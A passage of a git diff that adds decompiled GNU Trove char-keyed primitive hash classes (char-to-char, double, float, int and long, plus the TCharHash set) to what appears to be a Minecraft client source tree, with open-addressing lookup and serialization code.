+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(char val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeChar(no_entry_key);
+    
+
+    out.writeByte(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readChar();
+    
+
+    no_entry_value = in.readByte();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TCharCharHash.java b/src/minecraft/gnu/trove/impl/hash/TCharCharHash.java
new file mode 100644
index 0000000..2cf0a28
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TCharCharHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TCharProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TCharCharHash
+  extends TPrimitiveHash
+{
+  public transient char[] _set;
+  protected char no_entry_key;
+  protected char no_entry_value;
+  
+  public TCharCharHash()
+  {
+    no_entry_key = '\000';
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+  public TCharCharHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = '\000';
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharCharHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = '\000';
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TCharCharHash(int initialCapacity, float loadFactor, char no_entry_key, char no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(char val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeChar(no_entry_key);
+    
+
+    out.writeChar(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readChar();
+    
+
+    no_entry_value = in.readChar();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TCharDoubleHash.java b/src/minecraft/gnu/trove/impl/hash/TCharDoubleHash.java
new file mode 100644
index 0000000..c4c1358
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TCharDoubleHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TCharProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TCharDoubleHash
+  extends TPrimitiveHash
+{
+  public transient char[] _set;
+  protected char no_entry_key;
+  protected double no_entry_value;
+  
+  public TCharDoubleHash()
+  {
+    no_entry_key = '\000';
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+  public TCharDoubleHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = '\000';
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharDoubleHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = '\000';
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TCharDoubleHash(int initialCapacity, float loadFactor, char no_entry_key, double no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(char val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeChar(no_entry_key);
+    
+
+    out.writeDouble(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readChar();
+    
+
+    no_entry_value = in.readDouble();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TCharFloatHash.java b/src/minecraft/gnu/trove/impl/hash/TCharFloatHash.java
new file mode 100644
index 0000000..d5e43ca
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TCharFloatHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TCharProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TCharFloatHash
+  extends TPrimitiveHash
+{
+  public transient char[] _set;
+  protected char no_entry_key;
+  protected float no_entry_value;
+  
+  public TCharFloatHash()
+  {
+    no_entry_key = '\000';
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+  public TCharFloatHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = '\000';
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharFloatHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = '\000';
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TCharFloatHash(int initialCapacity, float loadFactor, char no_entry_key, float no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(char val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeChar(no_entry_key);
+    
+
+    out.writeFloat(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readChar();
+    
+
+    no_entry_value = in.readFloat();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TCharHash.java b/src/minecraft/gnu/trove/impl/hash/TCharHash.java
new file mode 100644
index 0000000..7ab9b87
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TCharHash.java
@@ -0,0 +1,292 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TCharProcedure;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TCharHash
+  extends TPrimitiveHash
+{
+  public transient char[] _set;
+  protected char no_entry_value;
+  
+  public TCharHash()
+  {
+    no_entry_value = Constants.DEFAULT_CHAR_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public TCharHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_CHAR_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_CHAR_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TCharHash(int initialCapacity, float loadFactor, char no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_value = no_entry_value;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(char val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(char val)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(char val)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == val)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != val));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TCharIntHash.java b/src/minecraft/gnu/trove/impl/hash/TCharIntHash.java
new file mode 100644
index 0000000..a937a49
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TCharIntHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TCharProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TCharIntHash
+  extends TPrimitiveHash
+{
+  public transient char[] _set;
+  protected char no_entry_key;
+  protected int no_entry_value;
+  
+  public TCharIntHash()
+  {
+    no_entry_key = '\000';
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TCharIntHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = '\000';
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharIntHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = '\000';
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TCharIntHash(int initialCapacity, float loadFactor, char no_entry_key, int no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(char val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeChar(no_entry_key);
+    
+
+    out.writeInt(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readChar();
+    
+
+    no_entry_value = in.readInt();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TCharLongHash.java b/src/minecraft/gnu/trove/impl/hash/TCharLongHash.java
new file mode 100644
index 0000000..5cbb070
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TCharLongHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TCharProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TCharLongHash
+  extends TPrimitiveHash
+{
+  public transient char[] _set;
+  protected char no_entry_key;
+  protected long no_entry_value;
+  
+  public TCharLongHash()
+  {
+    no_entry_key = '\000';
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+  public TCharLongHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = '\000';
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharLongHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = '\000';
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TCharLongHash(int initialCapacity, float loadFactor, char no_entry_key, long no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(char val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeChar(no_entry_key);
+    
+
+    out.writeLong(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readChar();
+    
+
+    no_entry_value = in.readLong();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TCharShortHash.java b/src/minecraft/gnu/trove/impl/hash/TCharShortHash.java
new file mode 100644
index 0000000..5cee00b
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TCharShortHash.java
@@ -0,0 +1,341 @@
